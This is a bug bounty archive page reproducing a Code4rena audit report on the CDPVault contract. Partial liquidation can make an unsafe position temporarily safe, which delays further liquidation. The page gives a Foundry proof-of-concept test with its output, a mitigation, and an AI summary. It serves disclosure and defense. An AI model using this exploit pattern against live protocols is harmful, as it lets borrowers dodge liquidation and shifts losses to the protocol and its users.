Bringing a position from unsafe to safe by liquidation partially
The CDPVault's liquidation mechanism allows partial liquidations to temporarily bring an unsafe position back to a safe state. An attacker could use this to delay full liquidation even as collateral prices continue to fall, increasing risk and potential losses for the protocol.
The CDPVault’s liquidation mechanism allows partial liquidations to temporarily bring unsafe positions back to a safe state. This can delay necessary liquidations if collateral prices continue to fall, potentially leading to increased risk and larger losses for the protocol.
Proof of Concept
The issue arises from liquidatePosition function in the CDPVault contract. An attacker can exploit this to avoid full liquidation even when their position should be unsafe.
Break down the Scenario:
Alice creates a position with 100 ether collateral and 60 ether debt.
The collateral price drops, making Alice’s position unsafe.
Bob performs a partial liquidation on Alice’s position.
Alice’s position becomes temporarily safe due to the partial liquidation.
The collateral price drops further, but a small liquidation attempt by Carol fails because the position is still considered safe.
Only after an even further price drop can the position be liquidated again.
Alice can do the same flow to herself (self liqudation) to protect her position instead of maintaining it by increasing the colleteral, which costs less and goes against how the protocol is intended to work.
function liquidatePosition(address owner, uint256 repayAmount) external whenNotPaused {
// ... (validation and state loading)
if (_isCollateralized(calcTotalDebt(debtData), wmul(position.collateral, spotPrice_), config.liquidationRatio))
revert CDPVault__liquidatePosition_notUnsafe();
// ... (liquidation calculations)
position = _modifyPosition(owner, position, newDebt, newCumulativeIndex, -toInt256(takeCollateral), totalDebt);
// ... (state updates and transfers)
}
The issue occurs because after a partial liquidation, the position can become temporarily safe, preventing further immediate liquidations even if the collateral value continues to decrease.
Recommended Mitigation Steps
Flag positions as unsafe when they become unsafe, and revert them to safe status upon additional collateral deposits. However, this approach is suboptimal. A comprehensive reevaluation of the liquidation mechanism is necessary.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {TestBase, ERC20PresetMinterPauser} from "./TestBase.sol";
import {CDPVault} from "../../src/CDPVault.sol";
import {WAD, toInt256, wmul, wdiv} from "../../src/utils/Math.sol";
import {console} from "forge-std/console.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
contract CDPVaultPartialLiquidationTest is TestBase {
CDPVault internal vault;
function setUp() public override {
super.setUp();
token = new ERC20PresetMinterPauser("Token", "TKN");
vault = createCDPVault(
token,
1_000_000 ether, // debt ceiling
0, // debt floor
1.25 ether, // liquidation ratio
1.0 ether, // liquidationPenalty
0.95 ether // liquidationDiscount
);
createGaugeAndSetGauge(address(vault));
// Grant minter role to this contract
bytes32 minterRole = token.MINTER_ROLE();
token.grantRole(minterRole, address(this));
mockWETH.grantRole(minterRole, address(this));
// Set initial price
_updateSpot(1 ether);
}
function _updateSpot(uint256 price) internal {
oracle.updateSpot(address(token), price);
}
function testUnsafePosition() public {
// Create a position
address alice = address(0x1);
token.mint(alice, 100 ether);
vm.startPrank(alice);
token.approve(address(vault), 100 ether);
vault.modifyCollateralAndDebt(alice, alice, alice, toInt256(100 ether), toInt256(60 ether));
vm.stopPrank();
// Record initial state
(uint256 initialCollateral, uint256 initialDebt,,,,) = vault.positions(alice);
console.log("Initial Collateral:", initialCollateral);
console.log("Initial Debt:", initialDebt);
console.log("Initial Price:", vault.spotPrice());
// Drop price to make position unsafe
_updateSpot(0.7 ether);
console.log("New Price:", vault.spotPrice());
// Partial liquidation
address bob = address(0x2);
mockWETH.mint(bob, 30 ether);
vm.startPrank(bob);
mockWETH.approve(address(vault), 30 ether);
// console.log("Start liquidatePosition");
vault.liquidatePosition(alice, 30 ether);
vm.stopPrank();
console.log("Partial Liquidation succeed");
// Log state after partial liquidation
(uint256 collateralAfterPartial, uint256 debtAfterPartial,,,,) = vault.positions(alice);
console.log("Collateral after partial liquidation:", collateralAfterPartial);
console.log("Debt after partial liquidation:", debtAfterPartial);
// Try to liquidate again (should fail as position is now safe)
address charlie = address(0x3);
mockWETH.mint(charlie, 1 ether);
vm.startPrank(charlie);
mockWETH.approve(address(vault), 1 ether);
vm.expectRevert(CDPVault.CDPVault__liquidatePosition_notUnsafe.selector);
vault.liquidatePosition(alice, 1 ether);
vm.stopPrank();
console.log("Partial Liquidation failed");
// Verify final state
(uint256 finalCollateral, uint256 finalDebt,,,,) = vault.positions(alice);
console.log("Final Collateral:", finalCollateral);
console.log("Final Debt:", finalDebt);
}
}
Output:
Initial Collateral: 100000000000000000000
Initial Debt: 60000000000000000000
Initial Price: 1000000000000000000
New Price: 700000000000000000
Partial Liquidation succeed
Collateral after partial liquidation: 54887218045112781955
Debt after partial liquidation: 30000000000000000000
Partial Liquidation failed
Final Collateral: 54887218045112781955
Final Debt: 30000000000000000000
The original report as published on Code4rena, by Evo. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the liquidation check only compares the current collateral-to-debt ratio after a partial liquidation, without considering that the position may still be at risk if prices continue to fall.
Impact
This could delay necessary liquidations, potentially leading to increased risk and larger losses for the protocol.
What the attacker needed
A position that becomes unsafe; ability to perform partial liquidation
The fix
The liquidation mechanism should be comprehensively reevaluated, possibly by flagging positions as unsafe when they become unsafe and reverting them to safe only upon additional collateral deposits.
How it was found
Alice creates a position with 100 ether collateral and 60 ether debt.
The collateral price drops, making Alice’s position unsafe.
Bob performs a partial liquidation on Alice’s position.
Alice’s position becomes temporarily safe due to the partial liquidation.
The collateral price drops further, but a small liquidation attempt by Carol fails because the position is still considered safe.
Only after an even further price drop can the position be liquidated again.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
In a lending protocol, a position becomes unsafe when the borrowed amount is too high compared to the collateral. Normally, anyone can liquidate (repay part of the debt and seize collateral) to make it safe again. This report shows that a partial liquidation can make the position appear safe even though the collateral value is still falling, so further liquidations are blocked until the price drops even more.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.